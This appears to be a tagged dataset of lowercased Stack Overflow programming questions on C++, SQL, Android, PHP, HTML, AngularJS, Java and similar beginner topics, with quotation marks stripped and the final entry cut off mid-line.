c2653 no class or namespace .hpp/.cpp  hey i m a c++ beginner and trying to learn the basics. i tried to compile my code but it keeps telling me    <blockquote>    error. (c2653)  framework : no class or namespace in line 4.  </blockquote>   another error is    <blockquote>     sf :no class or namespace  </blockquote>   but if i add <code>#include &lt;sfml\graphics.hpp&gt;</code> to my framework.cpp code it solve the problem. as i understand the .hpp headers include all the code to the cpp files. so why should i include the sfml\graphics.hpp twice     here is my code:   <pre><code>#ifndef frameworkk_h  #define frameworkk_h  #include &lt;iostream&gt; #include &lt;sfml\graphics.hpp&gt; #include  stdafx.h  class framework { public:     framework();     ~framework();  void run();   private:  void quit();  void update(); void handleevent(); void render(); sf::renderwindow * prenderwindow; sf::event  * pmainevent;    bool mrun; };#endif </code></pre>   and here is my .cpp code   <pre><code>#include  frameworkk.h  #include  stdafx.h   framework::framework(){     prenderwindow = new sf::renderwindow(sf::videomode(800  600  32)    spiel );     pmainevent = new sf::event;     mrun = true; } framework::~framework() {  }   void framework::run() {     while (mrun)     {         update();         handleevent();         render();          quit();     } }  void framework::quit() {     if (!mrun)     {         prenderwindow-&gt;close();     } }   void framework::update() {  }      void framework::handleevent() {     while (prenderwindow-&gt;pollevent(*pmainevent))     {         if (pmainevent-&gt;type == sf::event::closed)         {             mrun = false;         }     } }   void framework::render() {     prenderwindow-&gt;clear(sf::color(120  120  120));     prenderwindow-&gt;display(); } </code></pre>,c++
want to get avg for 2 columns but want to display results with an average greater than 2  want to get avg for 2 columns but want to only display results with an average greater than 4.  so far this is what i have    <pre><code>select category   (avg (nomins) + avg (awards))/2 as  avg awards+nomins  from dvdmovie  group by category having (avg(nomins) + avg(awards))/2 &gt; 4 </code></pre>   for some reason i m not getting the right averages when i manually check it.     if this helps this is the question i m trying to solve.   <blockquote>    show for each movie category the average number of awards and nominations for movies in that category.    only show categories where the average is 4 or more.  </blockquote>  <pre><code>edit: sample data 1   movie 1                         action      70.00   2015    3   5 2   movie 2                         drama       65.00   2010    3   3 3   movie 3                         mystery     95.00   2016    5   6 4   movie 4                         horror      79.00   1975    3   4 5   movie 5                         sport       74.00   2005    2   2 6   movie 6                         comedy      81.00   2005    1   2 7   movie 7                         fantasy     19.00   2008    2   12 8   movie 8                         comedy      41.00   2004    4   9 9   movie 9                         horror      31.00   2009    1   1 10  movie 10                        fantasy     41.00   2009    0   2 11  movie 11                        horror      12.00   2009    1   2 </code></pre>,sql
to build  or not to build a kind of gridview control from scrach   i want to show some results in a gridview kind of way. but for each page i want to show 3  inner repeaters  showing data from 1-10 11 20 and 21-30 respectively. you can see this in the folowing image.    <a href= http://img196.imageshack.us/img196/1285/examplesv.jpg  rel= nofollow noreferrer >alt text http://img196.imageshack.us/img196/1285/examplesv.jpg</a>    my question is  is this easier to buid with only one gridview  and several item templates   or should i buid a new user control from strach,asp.net
how to send custom list view selected item id through checkbok  i am very new in android.i want to send list item id through checkbox.i have custom list view with a checkbox.i want to send when checkbox click  selected id send those id through array to my mysql database.but i don t understand how to do that.   <blockquote>    custom row  </blockquote>  <pre><code>private activity activity; private list&lt;testadddata&gt; items; private layoutinflater inflater;  public customtestadd(activity activity  list&lt;testadddata&gt; items) {     this.activity = activity;     items = items; }  @override public int getcount() {     return items.size(); }  @override public object getitem(int location) {     return items.get(location); }  @override public long getitemid(int position) {     return position; }  @override public view getview(int position  view convertview  viewgroup parent) {     inflater = (layoutinflater) activity.getsystemservice(context.layout_inflater_service);     convertview = inflater.inflate(r.layout.activity_custom_test_add  null true);      textview testname = (textview)convertview.findviewbyid(r.id.testname);     checkbox testid = (checkbox) convertview.findviewbyid(r.id.testid);      //getting data     testadddata m = items.get(position);      //set data     testname.settext(m.gettestname());      return convertview; } </code></pre>   this class extends baseadapter..   <blockquote>    data save class  </blockquote>  <pre><code>private int testid; private string testname; private boolean isselected; public testadddata(){}  public int gettestid() {     return testid; }  public void settestid(int testid) {     this.testid = testid; }  public string gettestname() {     return testname; }  public void settestname(string testname) {     this.testname = testname; }  public boolean isselected() {     return isselected; }  public void setselected(boolean selected) {     isselected = selected; }  public testadddata(int testid  string testname  boolean isselected) {     this.testid = testid;     this.testname = testname;     this.isselected = isselected; } </code></pre>   i want to pass this test id via checkbox..   <blockquote>    list activity  </blockquote>  <pre><code>class task2 extends asynctask&lt;string  string  void&gt; {      inputstream is = null;     string result =   ;      @override     protected void onpreexecute() {         findviewbyid(r.id.pb).setvisibility(view.visible);     }      @override     protected void doinbackground(string... strings) {         string url_select =  http://mybusket.com/webapi/dgc/dgcbcl/get_all_patient.php ;          httpclient httpclient = new defaulthttpclient();         httpget httpget = new httpget(url_select);          arraylist&lt;namevaluepair&gt; param = new arraylist&lt;namevaluepair&gt;();         try {             httpget.seturi(new uri(url_select));              httpresponse httpresponse = httpclient.execute(httpget);             httpentity httpentity = httpresponse.getentity();              // read content             is = httpentity.getcontent();          } catch (exception e) {              log.e( log_tag    error in http connection   + e.tostring());         }         try {             bufferedreader br = new bufferedreader(                     new inputstreamreader(is));             stringbuilder sb = new stringbuilder();             string line =   ;             while ((line = br.readline()) != null) {                 sb.append(line +  \n );             }             is.close();             result = sb.tostring();          } catch (exception e) {             // todo: handle exception             log.e( log_tag    error converting result   + e.tostring());         }          return null;     }      @override     protected void onpostexecute(void avoid) {         try {             lv2 = (listview)findviewbyid(r.id.testlist);             lv2.setadapter(customtestadd);             jsonobject object = new jsonobject(result);             jsonarray jsonarray = object.getjsonarray( pat );             for (int i = 0; i &lt; jsonarray.length(); i++)             {                 jsonobject obj = jsonarray.getjsonobject(i);                 testadddata patientdata = new testadddata();                 patientdata.settestname(obj.getstring( name ));                 patientdata.settestid(obj.getint( patid ));                  testlists.add(patientdata);             }         } catch (jsonexception e) {             log.e( log_tag    error parsing data   + e.tostring());         }          findviewbyid(r.id.pb).setvisibility(view.gone);     } } </code></pre>,android
android - accessing assets from another class isn t working  i m trying to access my application s assets from another class file. obviously <code>this.getassets()</code> doesn t work  so i tried passing the context to the class as a parameter. i used a variety of  contexts  - <code>getbasecontext()</code>  <code>getapplicationcontext()</code>  this  but they all result in a <code>nullpointerexception</code>.     here is the code i am using. it runs fine inside the activity  but i can t work out how to make it work in an external class.   <pre><code>private string picktext(){     string line = null;     try {         assetmanager am = this.getassets();         inputstream fstream = am.open( plan.txt );         datainputstream in = new datainputstream(fstream);         bufferedreader br = new bufferedreader(new inputstreamreader(in));         line = br.readline();         for(int i = 1; i &lt; id &amp;&amp; line != null; i++){             line = br.readline();         }     } catch (ioexception e) {         // todo auto-generated catch block         e.printstacktrace();     }     return line; } </code></pre>   any ideas  thanks.,android
how to calculate difference between two dates in textboxes in asp.net vb  i need to find difference between two dates in textboxes. the difference should be in years  months and dates. i try to use datediff but it didn t works with months and days   <pre><code>dim y_diff as integer     dim m_diff as integer     dim d_diff as integer     dim date1 as date = convert.todatetime(textbox1.text)     dim dob as date = convert.todatetime(textbox2.text)     response.write( today date is   &amp; today.date &amp;  &lt;br&gt; )     y_diff = datediff( yyyy   dob  date1)      m_diff = datediff( m   dob  date1) / y_diff / 12      d_diff = datediff( d   dob  date1) / 365     response.write( difference in year  &amp; y_diff &amp;  &lt;br&gt;  &amp;  months  &amp; m_diff &amp;  &lt;br&gt;  &amp; d_diff &amp;  &lt;br&gt; ) </code></pre>   how can i get it correctly,asp.net
parse error: syntax error  unexpected t_string on line 26  hello im having an issue with my code:   <pre><code>&lt; php  session_start();  $host= localhost ;  $username= root ;  $password= power1 ;  $db_name= members ;  $tbl_name= users ;  $link  = mysql_connect($host  $username  $password)or die( cannot connect. please contact us ); mysql_select_db($db_name)or die( cannot select db. please contact us );  $querystring = $_server[ query_string ];  $uemail = $_session[ $querystring ];  $query =  select * from users where email= $uemail  ;  $result = mysql_query($query) or die(mysql_error());  while($row = mysql_fetch_array($result)){  if ($querystring == $row[activationkey]){     echo  congratulations! you have succesfully activated you account. you may now login. ;     $sql=( update users set activationkey=   and status= activated  where username= .$row[ username ]);     if (!mysql_query($sql))  {      die( error:   . mysql_error());  }      }          }  &gt; </code></pre>   what do you think the issue is  thanks,php
calculate distinct totals over time  i have the following data:   <pre><code>uniqueid    senderid    entryid date 1           1           1       2015-09-17 2           1           1       2015-09-23 3           2           1       2015-09-17 4           2           1       2015-09-17 5           3           1       2015-09-17 6           4           1       2015-09-19 7           3           1       2015-09-20 </code></pre>   what i require is the following:   <pre><code>3   2015-09-17 4   2015-09-19 4   2015-09-20 4   2015-09-23 </code></pre>   where the first column is the total unique entries upto that date. so for example the entry on the 23/9 of sender 1 and entry 1 does not increase the total column because there is a duplicate from the 17/9.    how can i do this efficiently <em>ideally</em> without joining on the same table as what you end up with is a <em>very large</em> query which is not practical. i have done something similar in postgres with over() but unfortunately this isn t available in this setup.    i could also do this in code - which i have but yet again it has to calculate outside of the db system and then import back in. with millions of rows this process takes days and i ideally only have hours.,sql
where is a subdocument fragment allowed in a compound document   i thought that a html document allows one and only one <code>&lt;html&gt;</code> tag.    i was mistaken. from <a href= https://dev.w3.org/html5/spec-preview/the-html-element.html  rel= nofollow noreferrer >https://dev.w3.org/html5/spec-preview/the-html-element.html</a>    <blockquote>    contexts in which this element can be used:       <ul>   <li>as the root element of a document.</li>   <li>wherever a subdocument fragment is allowed in a compound document.</li>   </ul> </blockquote>   very well. where is a subdocument fragment allowed in a compund document,html
go to definition on concrete type  is there an extension for visual studio that would allow to do go to definition from a method and have it navigate straight to the concrete implementation instead of interface  most of my code is inteface based and right if i do go to definition it goes straight to the interface which makes sense  be nice to have go to concrete implementation..thankx,.net
getting the offsets of a list of elements using jquery  i have a list of headers that i wish to convert into a list of their offsets from the top. can someone tell me why the following code doesn t work     <pre><code>var headers = $( h1  h2  h3  h4  h5  h6 ).filter(function() {   // get all headers with an id   return this.id; })  console.log($(headers).map(function() {      this.offsettop; })) </code></pre>   i m not very experienced in using jquery  so my apologies that this is very simple.,jquery
is a table with top and left headers possible using thead and tbody   i wish to layout two dimensional data in a html table  an example   <pre><code>      cow  horse   big   1    3 small   5    7 </code></pre>   i can easily achieve this with the following markup.   <pre><code>&lt;table&gt;     &lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;cow&lt;/th&gt;&lt;th&gt;horse&lt;/th&gt;&lt;/tr&gt;     &lt;tr&gt;&lt;th&gt;big&lt;/th&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;3&lt;/td&gt;&lt;/tr&gt;     &lt;tr&gt;&lt;th&gt;small&lt;/th&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;7&lt;/td&gt;&lt;/tr&gt; &lt;/table&gt; </code></pre>   however  i ve been wondering whether this is possible with tbody and thead tags     i ve tried this  but the data just appears below the headers  which is kind of what i expect  but don t want.   <pre><code>&lt;table&gt;    &lt;thead&gt;      &lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;cow&lt;/th&gt;&lt;th&gt;horse&lt;/th&gt;&lt;/tr&gt;      &lt;tr&gt;&lt;th&gt;big&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/tr&gt;      &lt;tr&gt;&lt;th&gt;small&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/tr&gt;    &lt;/thead&gt;    &lt;tbody&gt;      &lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;3&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;7&lt;/td&gt;&lt;/tr&gt;    &lt;/tbody&gt; &lt;/table&gt; </code></pre>   result   <pre><code>      cow  horse   big    small            1    3         5    7 </code></pre>   is this possible  or can thead only be used for headers at the top or side  but not both simultaneously. i can t find any examples of this problem online  perhaps i m searching for the wrong thing.   <ul> <li><a href= http://www.w3.org/tr/html401/struct/tables.html  rel= nofollow noreferrer >http://www.w3.org/tr/html401/struct/tables.html</a></li> <li><a href= http://developer.mozilla.org/en-us/docs/web/html/element/table  rel= nofollow noreferrer >http://developer.mozilla.org/en-us/docs/web/html/element/table</a></li> <li><a href= https://stackoverflow.com/questions/6368061/most-common-way-of-writing-a-html-table-with-vertical-headers >this answer</a> is kind of close  but only deals with headers on left  not at top too.</li> </ul>,html
is reading sharedpreferences expensive   would reading sharedpreferences every two hours or so alongside polling in an android application be wasteful of a user s resources,android
can i use iframe on ada compliant page   i am making a non-secure page that has an iframe for a secure form. my concern is it ada compliant  does screen reader support iframe,html
themida anti dumping not working  i am using themida to protect my application and i enable anti-dumping option however any dll embedded to my app can be easily dumped from the memory and totally unobfuscated so what should i do,.net
how to add jquery scroll event to a dynamically added div   i am working on infinite scrolling for web page and the page rendering dynamically by a ajax call. i am unable to add scroll event to that html content. i have used following jquery functions.   <pre><code>// .live() and .bind() are also not working in my case $(document).on( scroll   #test    function(){ /* . . . */ });  html :- &lt;div style= overflow-y:auto &gt; . . . . .  &lt;/div&gt; </code></pre>   any help is appreciated.,jquery
matching two tables in html  i have a table that is filled with data from a database. when you scroll down though the headings are lost.     in order to solve this problem i made a second table above the first tables that held the headings. the headings are taken from the database with the data.    the problem is that the content in the second table changes the sizes of the fields so the headings in the first table no longer line up properly.    does anyone know how i can make the first table copy the second tables field sizes.    i am editing my predecessors code which is a .jsp file which i am told is a form of java.,html
how to associate a user with a comment   i am only allowing signed in users to post a comment  but when posting a comment  how do i get it to say that the currently signed in user posted it     my comments create looks like this   <pre><code>def create     @post = post.find(params[:post_id])     @comment = @post.comments.create(params[:comment])         redirect_to post_path(@post) end </code></pre>   and this is the comments form   <pre><code>&lt;div class= container &gt;     &lt;% if signed_in  %&gt; &lt;%= form_for([@post  @post.comments.build]) do |f| %&gt;      &lt;p&gt;         &lt;%= f.label :username %&gt;         &lt;%= f.text_field :commenter %&gt;     &lt;/p&gt;     &lt;p&gt;         &lt;%= f.label :comment %&gt;         &lt;%= f.text_area :body %&gt;     &lt;/p&gt;     &lt;p&gt;         &lt;%= f.submit  submit comment  %&gt;     &lt;/p&gt; &lt;% end %&gt; &lt;% else %&gt; &lt;p&gt; &lt;em&gt;you must be signed in to comment&lt;/em&gt; &lt;/p&gt; &lt;% end %&gt; &lt;/div&gt; </code></pre>   and this is what the comments look like afterward   <pre><code>&lt;h5&gt;&lt;em&gt;         &lt;%= comment.commenter %&gt; posted          &lt;% if comment.created_at &gt; time.now.beginning_of_day %&gt;         &lt;%= #{time_ago_in_words(comment.created_at)} ago %&gt;          &lt;% else %&gt;         &lt;%= comment.created_at.strftime( %b %d  %y ) %&gt;          &lt;% end %&gt;      &lt;/em&gt;&lt;/h5&gt;      &lt;p&gt;         &lt;%= link_to  destroy comment   [comment.post  comment]          method: :delete  data: {confirm:  are you sure  } %&gt;     &lt;/p&gt; </code></pre>   i m not entirely sure how to get it to remember that the current_user posted it. will i have to associate my comments not only to posts but with users,ruby-on-rails
how to remove the push notifications from the notifications in ios/swift  how to remove the push notifications from the notifications in ios/swift.  if it is not possible to remove notifications then please how to handle this kind of the situation.. advance thanks for all.,ios
move td contents to top of cell.  i have html table    my code is:   <pre><code>&lt;table border= 1 &gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;one&lt;/p&gt; &lt;p&gt;two&lt;/p&gt; &lt;p&gt;three&lt;/p&gt; &lt;p&gt;four&lt;/p&gt; &lt;/td&gt; &lt;td&gt;&lt;p&gt;one&lt;/p&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre>   i have two tds  in the first td there are four numbers  in the second td there is only one number.    the problem is:    the number one in the <em>second</em> td is displayed in center  but i want to display it at the top of the td.    example:  <a href= http://jsfiddle.net/ftywc/  rel= nofollow >http://jsfiddle.net/ftywc/</a>    i want to make it look like this:    <pre><code>one  | one two  | three| four | </code></pre>   notice that the second column is displayed at the top of the cell  this is what i am looking to do.,html
chrome showing  error while loading pdf  in web  i am getting an error in chrome while showing pdf on web view :  error while loading pdf  many times. i am using object tag / iframe tag for display but didn t get fix this issue. looking for a helpfull suggestion. appreciating the answer in advance.,angularjs
how do i fix the span to have img as background   <img src= https://i.stack.imgur.com/wmlao.png  alt= alt text >    now it was all fine when i set the picture as background <code>background: url(http://simplisafe.com/files/images/icons/check_mark.png)</code> and i got the desired output. but when the user sets the font-size to something else  the check mark picture remains the same size (the font size setting indirectly changes the size of the spans and divs too). <strong>basically i want the picture scalable and in the background behind the number.</strong>    i already tried background-size  but it doesn t work.   <pre><code>&lt;html&gt; &lt;head&gt;&lt;style type= text/css &gt; html {overflow-y:hidden;} body {overflow-y:auto;}    input { margin: 3px 0; vertical-align: middle; }     .box { border: 1px solid #aeaeae; padding: 3px; width: 6em; text-align: left; text-indent:.3em;    }     .innerbox { width: 4em; text-align: left;}  #page-background {position: absolute; z-index:-1;} #content {position: relative;} &lt;/style&gt; &lt;/head&gt;  &lt;body&gt;  &lt;span class= box  id= 1 &gt;&lt;nobr&gt;  &lt;span id= page-background &gt;&lt;img  src= http://simplisafe.com/files/images/icons/check_mark.png  /&gt;0&amp;nbsp;   &lt;span class= innerbox  id= content &gt;      &lt;div id= p_0  align= left  &gt;       &lt;input style= width:100%; border:1px solid #b4b4b4; font-size:12px  type= text  id= 1  /&gt;      &lt;/div&gt;    &lt;/span&gt; &lt;/span&gt;                           &lt;/nobr&gt;&lt;/span&gt; &lt;body&gt; &lt;/html&gt; </code></pre>   i added both <code>#page-background</code> and <code>#content</code> to make a checkmark img the background of the span but it just messes up my span. i tested the <code>#page-background</code> and <code>#content</code> on 2 overlapping spans and it works just fine  when i tried on add it to my existing code  the <code>position: absolute</code> messes up the span (see picture).    <strong>how can i fix this or is there another way to do this </strong>,html
angularjs: how to listen to dom events   i am new to angularjs so please forgive me this dump question. <br> <strong>how do i listen to  dom  events like  click   or  mousemove  </strong>     this is what i got (no errors  but also no result in the console)    // code is based on the orginal angularjs-seed.   <pre><code>angular.module( myapp.controllers   []).   controller( myctrl1   [ $scope   function($scope) {          $scope.$on( dragover   function() {             console.log( dragover );         });          $scope.$on( click   function() {             console.log( click );         });    }])    .controller( myctrl2   [function() {    }]); </code></pre>,angularjs
does jvm know what function pointers are   i m reading j. bloch s effective java and now i m at the using function object item. he said that:   <blockquote>    java does not provide function pointers  but object references can be   used to achieve a similar effect. invoking a method on an object   typically performs some operation on that object. however  it is   possible to define an object whose methods perform operations on other   objects  passed explicitly to the methods. a<strong>n instance of a class that</strong>   <strong>exports exactly one such method is effectively a pointer to that</strong>   <strong>method.</strong>  </blockquote>   what does that mean  i d guess that everytime we create the object of such a class  we ll effectively get a function pointer within <code>jvm</code> internally. but i m not sure about that  becauase java itself doesn t know the function pointer concept.     in other word  do we have just an optimization performed by compilers for such objects     example:   <pre><code>public interface callback{      public void invoke(); }  public class genericcallback implements callback{      public void invoke(){ system.out.println( generic callback ); } }  public static void main(string[] args){     callback c = new genericcallback(); //what kind of optimization will                                          //be performed for the c object  } </code></pre>,java
"why console.log((!+[]+[]+![]).length) gives 9   by what logic <code>js</code> works (!+[]+[]+![]).length returns 9  how is that possible  as i know js has dynamic types cast but very hard to understand whats going on here    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>console.log((!+[]+[]+![]).length);</code></pre>
 </div>
 </div>",javascript
getting memory leak when uploading data to the server  i am uploading the data to the server it was showing leak at:   <pre><code> nsmutabledata *postbody = [nsmutabledata data]; if([acustobj.messagetitle length]&gt;0) {     printf( \n messagetitle.......%s  [acustobj.messagetitle utf8string]);     [postbody appenddata:[[nsstring stringwithformat:@ --%@\r\n  boundary] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithstring:@ content-disposition: form-data; name=\ title\ \r\n\r\n ] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithstring:custobj.messagetitle] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithformat:@ \r\n--%@\r\n  boundary] datausingencoding:nsutf8stringencoding]]; } if([acustobj.phonenumber length]&gt;0) {     [postbody appenddata:[[nsstring stringwithformat:@ --%@\r\n  boundary] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithstring:@ content-disposition: form-data; name=\ phoneno\ \r\n\r\n ] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithstring:custobj.phonenumber] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithformat:@ \r\n--%@\r\n  boundary] datausingencoding:nsutf8stringencoding]];  } if([acustobj.username length]&gt;0) {     [postbody appenddata:[[nsstring stringwithformat:@ --%@\r\n  boundary] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithstring:@ content-disposition: form-data; name=\ name\ \r\n\r\n ] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithstring:custobj.username] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithformat:@ \r\n--%@\r\n  boundary] datausingencoding:nsutf8stringencoding]]; }  if([acustobj.audioduration length]&gt;0) {     [postbody appenddata:[[nsstring stringwithformat:@ --%@\r\n  boundary] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithstring:@ content-disposition: form-data; name=\ duration\ \r\n\r\n ] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithstring:custobj.audioduration] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithformat:@ \r\n--%@\r\n  boundary] datausingencoding:nsutf8stringencoding]]; } if([acustobj.imeinumber length]&gt;0) {     [postbody appenddata:[[nsstring stringwithformat:@ --%@\r\n  boundary] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithstring:@ content-disposition: form-data; name=\ imei\ \r\n\r\n ] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithstring:custobj.imeinumber] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithformat:@ \r\n--%@\r\n  boundary] datausingencoding:nsutf8stringencoding]]; } if([acustobj.latitude length]&gt;0) {     [postbody appenddata:[[nsstring stringwithformat:@ --%@\r\n  boundary] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithstring:@ content-disposition: form-data; name=\ latitude\ \r\n\r\n ] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithstring:custobj.latitude] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithformat:@ \r\n--%@\r\n  boundary] datausingencoding:nsutf8stringencoding]]; } if([acustobj.longitude length]&gt;0) {     [postbody appenddata:[[nsstring stringwithformat:@ --%@\r\n  boundary] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithstring:@ content-disposition: form-data; name=\ longitude\ \r\n\r\n ] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithstring:custobj.longitude] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithformat:@ \r\n--%@\r\n  boundary] datausingencoding:nsutf8stringencoding]]; }  if([imagedata length]&gt;0) {     printf( \n image.. );     [postbody appenddata:[[nsstring stringwithformat:@ --%@\r\n  boundary] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithstring:@ content-disposition: form-data; name=\ picture\ ; filename=\ test.png\ \r\n ] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithstring:@ content-type: application/octet-stream\r\ncontent-transfer-encoding: binary\r\n\r\n ] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:imagedata];     [postbody appenddata:[[nsstring stringwithformat:@ \r\n--%@\r\n  boundary] datausingencoding:nsutf8stringencoding allowlossyconversion:yes]]; } if([data length]&gt;0) {     printf( \n audio.. );     [postbody appenddata:[[nsstring stringwithformat:@ --%@\r\n  boundary] datausingencoding:nsasciistringencoding allowlossyconversion:yes]];     [postbody appenddata:[[nsstring stringwithstring:@ content-disposition: form-data; name=\ uploadedfile\ ; filename=\ audio.caf\ \r\n ] datausingencoding:nsasciistringencoding allowlossyconversion:yes]];     [postbody appenddata:[[nsstring stringwithstring:@ content-type: application/octet-stream\r\ncontent-transfer-encoding: binary\r\n\r\n ] datausingencoding:nsasciistringencoding allowlossyconversion:yes]];     [postbody appenddata:data];     [postbody appenddata:[[nsstring stringwithformat:@ \r\n--%@--  boundary] datausingencoding:nsasciistringencoding allowlossyconversion:yes]]; }  [request sethttpbody:postbody];//showing leak at this line. </code></pre>   can anyone suggest me how to rectify this.    thanks in advance  lakshmi.,objective-c
zipping a file in objective c to speed up peer to peer transfer  i am using multipeer connectivity in my application. the user can send any file  such as a png or a recording to another peer. since the transfer was slow i thought that zipping the data in a zip would speed it up as the size is reduced. i decided to use a framework for this suggested in the second answer to this question:    <a href= https://stackoverflow.com/questions/286496/how-can-i-create-a-zip-file-by-using-objective-c >how can i create a zip file by using objective c </a>    the problem is that i need to provide the usl of the file to send it via bluetooth  and i tried doing it in this way:   <pre><code>nsdata *file = [nsdata datawithcontentsofurl:imageurl];      zipfile *zipfile= [[zipfile alloc] initwithfilename:@ file.zip  mode:zipfilemodecreate];     zipwritestream *stream= [zipfile writefileinzipwithname:@ abc.txt  compressionlevel:zipcompressionlevelbest];      [stream writedata:file];     [stream finishedwriting];       nsstring *docsdir;     nsarray *dirpaths;     dirpaths = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes);     docsdir = [dirpaths objectatindex:0];     nsstring *databasepath = [[nsstring alloc] initwithstring: [docsdir stringbyappendingpathcomponent:@ file.zip ]];     [stream writetofile:databasepath atomically:yes];        _progresssend = [session sendresourceaturl: what url   withname: info topeer:peerid withcompletionhandler:^(nserror *error) {         // implement this block to know when the sending resource transfer completes and if there is an error.         if (error) {             nslog(@ send resource to peer [%@] completed with error [%@]   peerid.displayname  error);         }         else {             // create an image transcript for this received image resource          }     }]; </code></pre>   the problem is that i don t get how to get the url of the zip. i can t even save it in the documents directory...,ios
identifying and counting distinct outputs in python from csv file  i am pulling data from a csv file and have it printing out three letter country codes from each row of data.  how do i make python identify the number of occurrences of each unique country code from the outputted data   here is what i have that is printing the country codes.   <pre><code>import csv  with open( 2017countrydata.csv ) as csvfile:    readcsv = csv.reader(csvfile  delimiter=   )   for row in readcsv:         countries = row[1]         print(countries) </code></pre>,python
remove a dynamically added element/template from a hierarchy (in angularjs)  i have a piece of angularjs code which adds a group of elements in a hierarchical manner. also it deletes a group elements on the respective button clicks.     the problem i have is i am unable to delete/remove a node if it does not have any children.    in the delete function i tried to empty the node still the node is not getting removed.     script.js :    <pre><code>var myapp = angular.module( myapp   [])       .controller( nestedcontroller   function($scope){                          $scope.delete = function(data) {                   if(data.nodes.length  == 0)                  {                   data = {};                  }                // removes all the children nodes.                 data.nodes = [];             };     ... }); </code></pre>   html:    <pre><code>  &lt;html ng-app= myapp  ng-controller= nestedcontroller &gt;    &lt;head&gt;        &lt;script type= text/ng-template  id= my-tmpl &gt;   {{data.name}}   ...   &lt;button class= btn  ng-click= delete(data)  &gt;delete nodes&lt;/button&gt;    &lt;ul&gt;     &lt;li ng-repeat= data in data.nodes  ng-include=  my-tmpl  &gt;&lt;/li&gt;   &lt;/ul&gt;  &lt;/script&gt;      &lt;/head&gt;    &lt;body&gt; &lt;ul &gt;   &lt;li ng-repeat= data in tree  ng-include=  my-tmpl  &gt;&lt;/li&gt; &lt;/ul&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   fully functional code is in the <a href= https://plnkr.co/edit/ur7tzd47qpqwaqbmmhpn p=preview  rel= nofollow noreferrer >plunker</a>,angularjs
how to refresh user control in asp.net web forms  i have user control having <code>gridview</code> inside it on parent page on the same form one popup window gets open for document upload.     when i upload the document from pop window on attach button it should get reflected to <code>gridview</code> of parent page.    i want to refresh my user control on attach button of pop window.,asp.net
why &p+1 give the same result as p <pre><code>    #include &lt;stdio.h&gt;     int main(void)     {         int a[]= {15  14  34  46  69  86  10  0  4};         int *p = a; // p point to the first element of array a[0]         printf( %x\n%x\n  &amp;p+1  &amp;a[0]);         return 0;     } </code></pre>   that code will print as example   <pre><code>bff0e554 bff0e554 </code></pre>   so &amp;p+1 return the address of the first element of array. as i understand  &amp;p return the address of that pointer and &amp;p+1 should print the address of pointer + 1 please tell me what i missed !!,c
refer to online js file in external js  i know that from the main html file  i can refer to my own external js file with <code>&lt;script src= /path/to/js.js &gt;</code>. however  i m using google maps in that external file  which i would normally load with <code>&lt;script src= https://maps.googleapis.com/maps/api/js &gt;&lt;/script&gt;</code>  without an external file. does it matter whether the <code>script src</code> tag is in the main or external file  how can i insert a reference to google s js file into my external js file,javascript
how do i input a file and write code to find the highest number in the list  i am new to java and thanks to this site figured out how get the lowest value from the list but i am still struggling with how to get the same code to work for the highest value. i ve been working on it for the past 2 hours. again any help is appreciated   <pre><code>import java.io.file; import java.io.ioexception; import java.util.scanner;  public class largensmall {     public static void main(string[] args) throws ioexception {         string filename;        //numbers file         double lowest = double.positive_infinity;//lowest number in list         double highest; //highest number in list          //open the file         file file = new file( numbers.txt );         scanner inputfile = new scanner(file);          //set lowest to zero           //read all the values in numbers file and find the lowest value         while (inputfile.hasnext()) {             //read the numbers in the file and compare each value to find lowest value             double number = inputfile.nextdouble();             if (number &lt; lowest) lowest = number;         }          //set highest to zero         highest = 0.0;          //read all the values in numbers file and find the highest value         while (inputfile.hasnext()) {             //read the numbers in the file and compare each value to find highest value             double number = inputfile.nextdouble();             if (number &gt; highest) highest = number;         }          //close file         inputfile.close();          //print out the lowest value in the list         system.out.println( the lowest number in your file called    +                  